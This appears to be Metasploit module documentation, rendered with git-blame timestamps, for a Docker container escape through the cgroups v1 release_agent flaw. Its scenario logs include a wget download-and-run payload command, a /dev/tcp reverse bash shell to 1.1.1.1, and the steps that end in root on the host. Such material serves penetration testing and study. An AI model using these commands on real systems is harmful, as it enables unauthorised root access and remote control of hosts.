2023-11-28 13:44:08 -05:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2023-11-28 15:16:18 -05:00
|
|
|
This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.
|
|
|
|
|
If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.
|
|
|
|
|
|
2023-12-05 16:18:39 -05:00
|
|
|
A vulnerability was found in the Linux kernel's `cgroup_release_agent_write` in the `kernel/cgroup/cgroup-v1.c` function.
|
|
|
|
|
This flaw, under certain circumstances, allows the use of the cgroups v1 `release_agent` feature to escalate privileges
|
2023-11-28 15:16:18 -05:00
|
|
|
and bypass the namespace isolation unexpectedly.
|
|
|
|
|
|
2023-12-05 16:18:39 -05:00
|
|
|
More simply put, cgroups v1 has a feature called `release_agent` that runs a program when a process in the cgroup terminates.
|
|
|
|
|
If `notify_on_release` is enabled, the kernel runs the `release_agent` binary as root. By editing the release_agent file,
|
|
|
|
|
an attacker can execute their own binary with elevated privileges, taking control of the system. However, the `release_agent`
|
2023-11-28 15:16:18 -05:00
|
|
|
file is owned by root, so only a user with root access can modify it.
|
2023-11-28 13:44:08 -05:00
|
|
|
|
|
|
|
|
### Docker Setup
|
|
|
|
|
|
|
|
|
|
`sudo docker run --rm -it --privileged ubuntu:20.04 bash`
|
|
|
|
|
|
2023-11-28 15:16:18 -05:00
|
|
|
or
|
|
|
|
|
|
|
|
|
|
`sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:20.04 bash`
|
|
|
|
|
|
2023-11-28 13:44:08 -05:00
|
|
|
You may want to install `wget` to make initial exploitation easier as well:
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
apt-get update
|
|
|
|
|
apt-get install -y wget
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
2023-11-28 15:16:18 -05:00
|
|
|
1. Install Docker and start a docker container
|
|
|
|
|
2. Start msfconsole
|
|
|
|
|
3. Get a shell on the docker image as root.
|
|
|
|
|
4. Do: `use exploit/linux/local/docker_cgroup_escape`
|
|
|
|
|
5. Do: `set lhost [ip]`
|
|
|
|
|
6. Do: `set session [#]`
|
|
|
|
|
7. Do: `run`
|
2023-11-28 15:25:53 -05:00
|
|
|
8. You should get a root shell on the host OS.
|
2023-11-28 13:44:08 -05:00
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### Ubuntu 18.04 LTS with 4.15.0-96-generic kernel and Docker Ubuntu 20.04
|
|
|
|
|
|
|
|
|
|
Initial Access
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
resource (docker.rb)> use exploit/multi/script/web_delivery
|
|
|
|
|
[*] Using configured payload python/meterpreter/reverse_tcp
|
2023-11-28 15:16:18 -05:00
|
|
|
resource (docker.rb)> set lhost 1.1.1.1
|
|
|
|
|
lhost => 1.1.1.1
|
2023-11-28 13:44:08 -05:00
|
|
|
resource (docker.rb)> set srvport 8181
|
|
|
|
|
srvport => 8181
|
|
|
|
|
resource (docker.rb)> set target 7
|
|
|
|
|
target => 7
|
|
|
|
|
resource (docker.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
payload => linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
resource (docker.rb)> run
|
|
|
|
|
[*] Exploit running as background job 0.
|
|
|
|
|
[*] Exploit completed, but no session was created.
|
2023-11-28 15:16:18 -05:00
|
|
|
[*] Started reverse TCP handler on 1.1.1.1:4444
|
|
|
|
|
[*] Using URL: http://1.1.1.1:8181/QZWpVr8t
|
2023-11-28 13:44:08 -05:00
|
|
|
[*] Server started.
|
|
|
|
|
[*] Run the following command on the target machine:
|
2023-11-28 15:16:18 -05:00
|
|
|
wget -qO dLFtachL --no-check-certificate http://1.1.1.1:8181/QZWpVr8t; chmod +x dLFtachL; ./dLFtachL& disown
|
2023-11-28 13:44:08 -05:00
|
|
|
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
2023-11-28 15:16:18 -05:00
|
|
|
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
|
|
|
|
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60288) at 2023-11-28 13:38:39 -0500
|
2023-11-28 13:44:08 -05:00
|
|
|
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
|
|
|
|
[*] Starting interaction with 1...
|
|
|
|
|
|
|
|
|
|
(Meterpreter 1)(/) > getuid
|
|
|
|
|
Server username: root
|
|
|
|
|
(Meterpreter 1)(/) > sysinfo
|
|
|
|
|
Computer : 172.17.0.2
|
|
|
|
|
OS : Ubuntu 20.04 (Linux 4.15.0-96-generic)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Exploit the Docker Escape
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/docker_cgroup_escape
|
|
|
|
|
[*] Using configured payload cmd/unix/reverse_bash
|
2023-11-28 15:16:18 -05:00
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lhost 1.1.1.1
|
|
|
|
|
lhost => 1.1.1.1
|
2023-11-28 13:44:08 -05:00
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lport 9988
|
|
|
|
|
lport => 9988
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set verbose true
|
|
|
|
|
verbose => true
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > run
|
|
|
|
|
|
2023-11-28 15:16:18 -05:00
|
|
|
[+] bash -c '0<&181-;exec 181<>/dev/tcp/1.1.1.1/9988;sh <&181 >&181 2>&181'
|
|
|
|
|
[*] Started reverse TCP handler on 1.1.1.1:9988
|
2023-11-28 13:44:08 -05:00
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2023-11-28 15:16:18 -05:00
|
|
|
[*] Unable to determine host OS, this check method is unlikely to be accurate if the host isn't Ubuntu
|
2023-11-28 13:44:08 -05:00
|
|
|
[+] The target is vulnerable. IF host OS is Ubuntu, kernel version 4.15.0-96-generic is vulnerable
|
2023-11-28 15:16:18 -05:00
|
|
|
[*] Creating folder for mount: /tmp/eH7EY
|
|
|
|
|
[*] Creating directory /tmp/eH7EY
|
|
|
|
|
[*] /tmp/eH7EY created
|
2023-11-28 13:44:08 -05:00
|
|
|
[*] Mounting cgroup
|
2023-11-28 15:16:18 -05:00
|
|
|
[*] Creating folder in cgroup for exploitation: /tmp/eH7EY/qe0oj7G
|
|
|
|
|
[*] Creating directory /tmp/eH7EY/qe0oj7G
|
|
|
|
|
[*] /tmp/eH7EY/qe0oj7G created
|
|
|
|
|
[*] Enabling notify on release for group qe0oj7G
|
2023-11-28 13:44:08 -05:00
|
|
|
[*] Determining the host OS path for image
|
2023-11-28 15:16:18 -05:00
|
|
|
[*] Host OS path for image: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff
|
|
|
|
|
[*] Setting release_agent path to: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff/tmp/KksBaCbF
|
|
|
|
|
[*] Uploading payload to /tmp/KksBaCbF
|
|
|
|
|
[*] Writing '/tmp/KksBaCbF' (88 bytes) ...
|
|
|
|
|
[*] Triggering payload with command: sh -c "echo $$ > /tmp/eH7EY/qe0oj7G/cgroup.procs"
|
|
|
|
|
[*] Command shell session 2 opened (1.1.1.1:9988 -> 2.2.2.2:54990) at 2023-11-28 14:39:10 -0500
|
|
|
|
|
[*] Cleanup: Unmounting /tmp/eH7EY
|
|
|
|
|
|
|
|
|
|
FDjfSpoVnqvGmrtBOSRfABBgFMmcSkbT
|
|
|
|
|
id
|
|
|
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
|
|
|
cat /etc/os-release
|
|
|
|
|
NAME="Ubuntu"
|
|
|
|
|
VERSION="18.04 LTS (Bionic Beaver)"
|
|
|
|
|
ID=ubuntu
|
|
|
|
|
ID_LIKE=debian
|
|
|
|
|
PRETTY_NAME="Ubuntu 18.04 LTS"
|
|
|
|
|
VERSION_ID="18.04"
|
|
|
|
|
HOME_URL="https://www.ubuntu.com/"
|
|
|
|
|
SUPPORT_URL="https://help.ubuntu.com/"
|
|
|
|
|
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
|
|
|
|
|
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
|
|
|
|
|
VERSION_CODENAME=bionic
|
|
|
|
|
UBUNTU_CODENAME=bionic
|
2023-11-28 13:44:08 -05:00
|
|
|
```
|